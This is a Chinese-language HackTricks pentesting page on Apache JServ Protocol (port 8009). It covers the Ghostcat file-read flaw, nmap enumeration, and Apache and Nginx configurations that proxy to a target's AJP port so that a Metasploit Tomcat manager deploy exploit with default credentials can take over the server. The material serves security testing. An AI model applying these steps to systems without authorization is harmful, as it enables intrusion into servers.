11 KiB
8009 - 渗透测试Apache JServ协议(AJP)
☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
HackenProof是所有加密漏洞赏金的家园。
无需延迟获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在web3渗透测试中获得经验
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
在HackenProof上注册开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
基本信息
来源:https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/
AJP是一种传输协议。它是HTTP协议的优化版本,允许独立的Web服务器(如Apache)与Tomcat进行通信。从历史上看,Apache在提供静态内容方面比Tomcat快得多。这个想法是让Apache在可能的情况下提供静态内容,但将与Tomcat相关的内容代理到Tomcat。
还有趣的是:
ajp13协议是面向数据包的。出于性能原因,二进制格式可能是选择而不是更易读的纯文本。Web服务器通过TCP连接与Servlet容器通信。为了减少昂贵的套接字创建过程,Web服务器将尝试维护与Servlet容器的持久TCP连接,并重用连接进行多个请求/响应周期。
**默认端口:**8009
PORT STATE SERVICE
8009/tcp open ajp13
CVE-2020-1938 'Ghostcat'
如果AJP端口暴露,Tomcat可能会受到Ghostcat漏洞的影响。这是一个与此问题配合使用的利用工具。
Ghostcat是一种LFI漏洞,但受到一定限制:只能提取特定路径下的文件。然而,这可能包括像WEB-INF/web.xml
这样的文件,根据服务器设置,这些文件可能会泄露重要信息,如Tomcat接口的凭据。
修补版本为9.0.31及以上、8.5.51及以上和7.0.100及以上已修复此问题。
枚举
自动化
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
暴力破解
AJP代理
Apache AJP代理
很少遇到只有8009端口开放而没有其他Web端口开放的情况。在这种情况下,使用现有的工具如metasploit仍然可以控制它,是不是很好?正如引用中所述,您可以(滥用)Apache将请求代理到Tomcat的8009端口。在参考资料中,您将找到一个很好的指南,介绍了如何做到这一点(先阅读它),下面是我在自己的机器上使用的命令的概述。我省略了一些原始指令,因为它们似乎不是必要的。
sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass / ajp://HOST:8009/
ProxyPassReverse / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
使用这种设置的一个好处是,你可能会阻止已经存在的IDS/IPS系统,因为AJP协议是二进制的,但我还没有验证过这一点。现在你可以将你的常规metasploit tomcat exploit指向127.0.0.1:80并接管该系统。以下是metasploit的输出:
msf exploit(tomcat_mgr_deploy) > show options
Module options (exploit/multi/http/tomcat_mgr_deploy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD tomcat no The password for the specified username
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
Proxies no Use a proxy chain
RHOST localhost yes The target address
RPORT 80 yes The target port
USERNAME tomcat no The username to authenticate as
VHOST no HTTP server virtual host
Nginx反向代理和AJP
当我们遇到一个开放的AJP代理端口(8009 TCP)时,我们可以使用带有ajp_module
的Nginx来访问“隐藏”的Tomcat管理器。可以通过编译Nginx源代码并添加所需的模块来实现这一点,具体步骤如下:
- 下载Nginx源代码
- 下载所需的模块
- 使用
ajp_module
编译Nginx源代码。 - 创建一个指向AJP端口的配置文件
# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz
# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V
在/etc/nginx/conf/nginx.conf
文件中,将整个server
块注释掉,并在http
块内添加以下行。
upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}
启动Nginx并通过向本地主机发出cURL请求来检查一切是否正常运行。
sudo nginx
curl http://127.0.0.1:80
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>
参考资料
HackenProof 是所有加密漏洞赏金的家园。
无需等待即可获得奖励
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
在 web3 渗透测试中积累经验
区块链协议和智能合约是新的互联网!在其兴起的时代掌握 web3 安全。
成为 web3 黑客传奇
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
在 HackenProof 上注册 开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在 HackTricks 中看到您的公司广告吗?或者您想获得PEASS 的最新版本或下载 HackTricks 的 PDF 版本吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享您的黑客技巧。